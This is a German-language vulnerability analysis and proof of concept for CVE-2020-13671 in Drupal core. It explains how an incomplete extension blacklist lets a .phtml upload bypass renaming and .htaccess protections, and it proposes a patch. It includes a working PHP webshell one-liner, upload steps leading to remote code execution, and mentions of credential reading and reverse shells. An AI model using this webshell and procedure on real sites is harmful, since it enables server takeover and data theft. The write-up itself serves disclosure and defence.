
Detaillierte Analyse und Proof-of-Concept für CVE-2020-13671, eine Drupal-Core-Sicherheitslücke zur Remote-Codeausführung über Datei-Upload, einschließlich Ursachenanalyse, Ausnutzungsschritten und Behebungsmaßnahmen.
Software: Drupal Core 8.7.5 (Betroffen: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Hoch)
CWE: CWE-434 — Uneingeschränktes Hochladen von Dateien mit gefährlichem Typ
CISA KEV: Ja — Bekannte ausgenutzte Schwachstelle
Sicherheitshinweis: SA-CORE-2020-012
Drupal ist ein in PHP geschriebenes Open-Source-Content-Management-System (CMS), ähnlich wie WordPress oder Joomla, jedoch eher auf den Aufbau komplexerer Systeme ausgelegt — Unternehmenswebsites, mehrsprachige Plattformen. Drupal verwendet eine modulare Architektur, die es ermöglicht, die Funktionalität durch Aktivieren/Deaktivieren verfügbarer Module oder durch die Installation weiterer Module aus der Community zu erweitern.
Eine der Grundfunktionen eines jeden CMS besteht darin, Benutzern das Hochladen von Dateien zu ermöglichen — Profil-Avatare, angehängte Dokumente, Dateianhänge in Artikeln. Drupal speichert diese Dateien im Verzeichnis sites/default/files/ und stellt sie direkt über den Webserver (Apache oder Nginx) bereit.
⇒ Dies schafft eine klare Angriffsfläche: Wenn es einem Angreifer gelingt, eine PHP-Datei in dieses Verzeichnis hochzuladen, führt der Webserver sie aus, sobald sie über eine eingehende Anfrage aufgerufen wird.
Um dies zu verhindern, baut Drupal mehrere Verteidigungsschichten auf: die Validierung von Dateierweiterungen, das Umbenennen gefährlicher Dateien und das Platzieren einer .htaccess, um die Skriptausführung im Upload-Verzeichnis zu blockieren. Doch in Version 8.7.5 nutzen Angreifer genau diesen blinden Fleck quer durch diese Schichten aus.
Diese Schwachstelle erfordert ein Konto mit Datei-Upload-Berechtigungen. Standardmäßig haben normale Benutzer (Authenticated) in Drupal 8.7.5 nur die Berechtigung, Inhalte anzusehen und Kommentare zu verfassen — keine Berechtigung, Artikel zu erstellen oder Dateien hochzuladen.
| Konto | Ausnutzbar? | Erklärung |
|---|---|---|
| Admin | Ja | Volle Upload-Berechtigungen |
| Editor / Inhaltsersteller | Ja | Wenn die Berechtigung „Inhalt erstellen“ mit Upload durch den Admin gewährt wurde |
| Authentifizierter Benutzer (Standard) | Nein | Hat standardmäßig keine Berechtigung, Inhalte zu erstellen oder hochzuladen |
| Anonym (nicht angemeldet) | Nein | Keine Upload-Berechtigung |
In der Praxis gewähren jedoch viele Drupal-Websites normalen Benutzern Berechtigungen zur Inhaltserstellung (Foren, Community-Blogs, Nachrichtenseiten, die Artikel-Einreichungen erlauben). In solchen Fällen muss sich ein Angreifer lediglich ein Konto registrieren, um die Schwachstelle auszunutzen.
Angriffsablauf:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
In der Datei core/modules/file/file.module gibt es eine einzelne Regex, die bestimmt, welche Dateien als ausführbar gelten:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Diese Regex listet 7 Erweiterungen auf: phar, php, pl, py, cgi, asp, js. Jede Datei mit einer Erweiterung, die dieser Liste entspricht, wird von Drupal automatisch um .txt ergänzt — wodurch die Ausführbarkeit neutralisiert wird.
Die PHP-Engine verarbeitet jedoch nicht nur .php-Dateien. Je nach Webserver-Konfiguration erkennt und führt sie auch andere Erweiterungen aus:
| Erweiterung | Bedeutung | In der Regex enthalten? |
|---|---|---|
.php | PHP-Standard | Ja |
.phtml | PHP-Alternativ-Template | Nein |
.php5 | PHP-5-Handler | Nein |
.pht | PHP-Template | Nein |
.phps | PHP-Quellcode | Nein |
.shtml | Server-Side Includes | Nein |
5 PHP-Erweiterungsvarianten fehlen in der Regex vollständig. Das bedeutet: Eine Datei namens shell.phtml, die an Drupal gesendet wird → Regex matcht nicht → wird nicht umbenannt → wird unter ihrem Originalnamen im Upload-Verzeichnis gespeichert → der Webserver sieht .phtml → führt sie als PHP aus → der Angreifer erreicht RCE. Das ist die Grundursache: Drupal verwendete eine Blacklist, um gefährliche Erweiterungen zu blockieren, aber diese Liste war unvollständig.
Wenn ein Benutzer eine Datei hochlädt, leitet Drupal sie vor dem Speichern durch 3 Validierungsfunktionen. Im Folgenden wird analysiert, warum alle 3 bei .phtml versagen.
file_munge_filename() (core/includes/file.inc)Zweck: Gefährliche Erweiterungen in der Mitte des Dateinamens erkennen und ein _ anhängen, um sie zu stören. So funktioniert die Funktion:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Zum Beispiel bei shell.phtml:
explode zerlegt in ["shell", "phtml"]shift nimmt "shell", übrig bleibt ["phtml"]pop nimmt "phtml", übrig bleibt []foreach wird nicht ausgeführt"shell.phtml" unverändert zurückBei einer Datei mit nur einer einzigen Erweiterung greift die Funktion jedoch nicht ein. Sie ist also ausschließlich dafür ausgelegt, Dateien mit mehreren Erweiterungen zu behandeln.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Dies ist die Hauptverteidigungsschicht. Code in Zeile 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Wenn der Dateiname der Regex entspricht → MIME auf text/plain ändern und .txt am Ende anhängen.
Bei shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') gibt 0 zurückDieser Abschnitt hätte gefährliche Dateien also blockieren sollen, aber weil die Regex nicht weiß, dass .phtml gefährlich ist, rutscht sie einfach durch.
.htaccess im Upload-VerzeichnisDrupal platziert eine .htaccess-Datei in sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
Die Direktive php_flag engine off schaltet die PHP-Engine für das gesamte Verzeichnis ab, gilt jedoch nur für mod_php5. Drupal 8.7.5 läuft auf PHP 7, was bedeutet, dass mod_php7 aktiv und nicht deaktiviert ist.
Außerdem hat die .htaccess 3 weitere Schwächen:
.htaccess nicht — diese Datei ist auf Nginx völlig wirkungslosAllowOverride None konfiguriert → .htaccess wird ignoriertmod_php verwenden → die php_flag-Direktive hat keine Wirkungecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Bei Drupal mit einem Konto anmelden, das Upload-Berechtigungen hat → Inhalt → Inhalt hinzufügen → Artikel → im Bildfeld die Datei webshell.phtml auswählen → Hochladen.
Drupal akzeptiert die Datei, benennt sie nicht um und speichert sie unter ihrem Originalnamen in sites/default/files/.

Danach den Shell-Aufruf mit whoami ausführen:

Damit haben wir erfolgreich RCE als www-data erreicht.
Weitere Tests, um Zugangsdaten einzusehen:

Der Angreifer kann die settings.php mit den Datenbank-Zugangsdaten lesen, die gesamte DB dumpen, eine Reverse Shell installieren oder Privilegien auf root ausweiten.
Regex aktualisieren — die 5 fehlenden Erweiterungen hinzufügen:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccess aktualisieren — Deaktivierung für mod_php7 hinzufügen:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
Der Patch funktioniert, stützt sich aber weiterhin auf eine Blacklist. Falls in Zukunft neue Erweiterungen auftauchen (.php8, .phpt), muss die Regex erneut aktualisiert werden. Eine Whitelist — die nur bekannte sichere Erweiterungen zulässt — wäre ein gründlicherer Ansatz.
| Anfällige Datei | core/modules/file/file.module Zeile 28 |
|---|---|
| Grundursache | Die Regex-Blacklist lässt .phtml, .php5, .pht, .phps, .shtml aus |
| Auswirkung | .phtml hochladen → Server führt aus → RCE |
| 3 umgangene Verteidigungsschichten | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Patch | 5 Erweiterungen zur Regex hinzufügen + mod_php7 in .htaccess deaktivieren |